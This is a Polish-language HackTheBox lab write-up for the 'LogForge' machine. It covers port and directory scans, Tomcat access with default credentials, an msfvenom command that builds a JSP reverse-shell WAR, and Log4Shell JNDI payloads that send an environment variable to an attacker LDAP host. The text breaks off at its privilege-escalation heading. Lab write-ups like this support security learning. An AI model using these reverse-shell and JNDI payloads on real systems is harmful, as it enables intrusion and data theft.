LogForge - 31.12.2021


NMap

┌──(kali㉿kali)-[~/htb/logforge]
└─$ nmap -sC -sV 10.10.11.138                                                                
Starting Nmap 7.91 ( https://nmap.org ) at 2021-12-31 22:52 CET
Nmap scan report for 10.10.11.138
Host is up (0.055s latency).
Not shown: 996 closed ports
PORT     STATE    SERVICE    VERSION
21/tcp   filtered ftp
22/tcp   open     ssh        OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 ea:84:21:a3:22:4a:7d:f9:b5:25:51:79:83:a4:f5:f2 (RSA)
|   256 b8:39:9e:f4:88:be:aa:01:73:2d:10:fb:44:7f:84:61 (ECDSA)
|_  256 22:21:e9:f4:85:90:87:45:16:1f:73:36:41:ee:3b:32 (ED25519)
80/tcp   open     http       Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Ultimate Hacking Championship
8080/tcp filtered http-proxy
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

FeroxBuster

┌──(kali㉿kali)-[~/htb/logforge]
└─$ feroxbuster -u http://10.10.11.138 -w /opt/SecLists/Discovery/Web-Content/common.txt -t 50                                                                          1 ⨯

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.3.3
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://10.10.11.138
 🚀  Threads               │ 50
 📖  Wordlist              │ /opt/SecLists/Discovery/Web-Content/common.txt
 👌  Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
 💥  Timeout (secs)7
 🦡  User-Agent            │ feroxbuster/2.3.3
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Cancel Menu™
──────────────────────────────────────────────────
403        9l       28w      277c http://10.10.11.138/admin
403        9l       28w      277c http://10.10.11.138/host-manager
302        0l        0w        0c http://10.10.11.138/images
403        9l       28w      277c http://10.10.11.138/manager
403        9l       28w      277c http://10.10.11.138/server-status
[####################] - 24s     9394/9394    0s      found:5       errors:0      
[####################] - 17s     4697/4697    263/s   http://10.10.11.138
[####################] - 18s     4697/4697    253/s   http://10.10.11.138/images

Strona główna

Na stronie głównej nie ma niczego ciekawego


Port 21 - FTP

Jeżeli chodzi o port 21, to nic ciekawego nie da się zrobić.

┌──(kali㉿kali)-[~/htb/logforge]
└─$ ftp 10.10.10.138                                                                                                                                                  255 ⨯
ftp: connect: No route to host
ftp> 

Prawdopodobnie port 21 jest zablokowany przez firewall.


Port 80 - Apache 2.4.41

Wiadomo, że jest zainstalowany Tomcat 9.0.31 na Ubuntu.

Miałem już doczynienia z tą wersją. Boxy Seal oraz Tabby również miały tą samą wersje. Widziałem, że musi chodzić o coś z Path Traversal.

https://book.hacktricks.xyz/pentesting/pentesting-web/tomcat

I faktycznie, przy wykorzystaniu błędu tej wersji możemy dostać się do panelu logowania.

Dane do logowania okazały się proste: tomcat:tomcat. Jedne z domyślnych

https://github.com/netbiosX/Default-Credentials/blob/master/Apache-Tomcat-Default-Passwords.mdown

Tym sposobem dostajemy się do Tomcata


Initial shell

Na tym etapie należy dostać do maszyny. Potrzebujemy stworzyć zainfekowany plik .war i wrzucić do na serwer.

┌──(kali㉿kali)-[~/htb/logforge]
└─$ msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.141 LPORT=9000 -f war -o revshell.war
Payload size: 1088 bytes
Final size of war file: 1088 bytes
Saved as: revshell.war

Natomiast przy próbie uploadu dostajemy taki komunikat.

W tym momencie nie miałem pomysłu gdzie szukać dalej. Jak się okazało, należy pochylić się nad podatnością Log4J.

Wklejenie takiego payloadu ${jndi:ldap://10.10.14.141:9000/Test}, spowodowało dziwną odpowiedź serwera

${jndi:ldap://10.10.14.141:9000/callback/${env:USER}

${jndi:ldap://10.10.14.141:9000/callback/${env:USER}}

Privilege Escalation